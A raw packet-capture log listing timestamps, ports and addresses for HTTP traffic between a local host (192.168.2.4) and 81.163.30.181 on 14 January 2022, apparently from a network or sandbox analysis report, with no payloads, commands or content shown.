Jan 14, 2022 20:29:55.679555893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.679562092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679617882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679677010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679727077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.679734945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679794073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679852009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.679852962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679914951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679971933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.679974079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680030107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680031061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680071115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680111885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680124044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680152893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680191994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680212975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680233002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680273056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680329084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680335045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680396080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680444002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680459023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680485964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680501938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680526972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680565119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680579901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680605888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680645943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680660009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680685997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680727005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680764914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680774927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680804014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680845022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680850029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680885077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680923939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680929899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.680963039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.680967093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681003094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681041956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681055069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681080103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681118965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681123018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681157112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681194067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681232929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681236982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681272030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681310892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681322098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681350946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681389093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681395054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681428909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681432009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681468010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681504965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681510925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681544065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681582928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681588888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681622028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681662083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681699991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681705952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681739092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681778908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681783915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681818008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681822062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681889057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681930065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.681935072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.681966066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682004929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682008982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682044029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682081938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682087898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682121038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682158947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682195902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682204962 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682234049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682272911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682279110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682312012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682315111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682353020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682389975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682399988 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682429075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682466984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682477951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.682504892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.682837009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686263084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686307907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686343908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686374903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686383009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686424971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686464071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686469078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686503887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686543941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686546087 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686579943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686619043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686656952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686692953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686693907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686697960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686739922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686747074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686788082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686850071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686856985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686892986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686933041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.686971903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.686971903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687021017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687032938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.687076092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687122107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687160015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687194109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.687199116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687210083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.687386036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687427998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687431097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.687473059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.687519073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.687520981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720489979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720544100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720582008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720598936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.720623016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720637083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.720664978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720705986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720721006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.720765114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720804930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.720844030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.740772963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.740835905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.740854979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.740880966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.740921974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.740962029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.740967989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.740998983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741004944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741039991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741080046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741085052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741121054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741162062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741178036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741202116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741266012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741297007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741314888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741338968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741339922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741379976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741419077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741457939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741458893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741498947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741517067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741538048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741579056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741619110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741620064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741658926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741683960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741700888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741739035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741741896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741776943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741816998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741889954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.741894007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741936922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741976023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.741981030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742013931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742048025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742054939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742095947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742135048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742136002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742173910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742185116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742214918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742253065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742291927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742295027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742331028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742332935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742371082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742412090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742449999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742455959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742491007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742497921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742531061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742569923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742579937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742609978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742650032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742690086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742695093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742729902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742768049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742774963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742808104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742808104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742847919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742887974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742902040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.742927074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.742965937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743005991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743010044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743046045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743083000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743093967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743122101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743163109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743165970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743201017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743204117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743241072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743279934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743283033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743319035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743360043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743366003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743397951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743437052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743475914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743479967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743513107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743552923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743556023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743590117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743592978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743628979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743669987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743670940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743709087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743747950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743787050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743791103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743824959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743866920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743869066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743906021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743941069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.743944883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743985891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.743990898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744023085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744062901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744102001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744106054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744138956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744159937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744179010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744219065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744259119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744266033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744297028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744298935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744337082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744375944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744395018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744415045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744452953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744483948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744492054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744530916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744570971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744573116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744611025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744611025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744647980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744685888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744693995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744836092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744879961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744919062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744941950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.744949102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.744978905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745019913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745060921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745090008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745098114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745114088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745137930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745177984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745187998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745214939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745254040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745256901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745294094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745332956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745336056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745373011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745412111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745414972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745455027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745495081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745501995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745543003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745563984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745604038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745618105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745644093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745642900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745683908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745727062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745727062 CET	80	49882	81.163.30.181	192.168.2.4
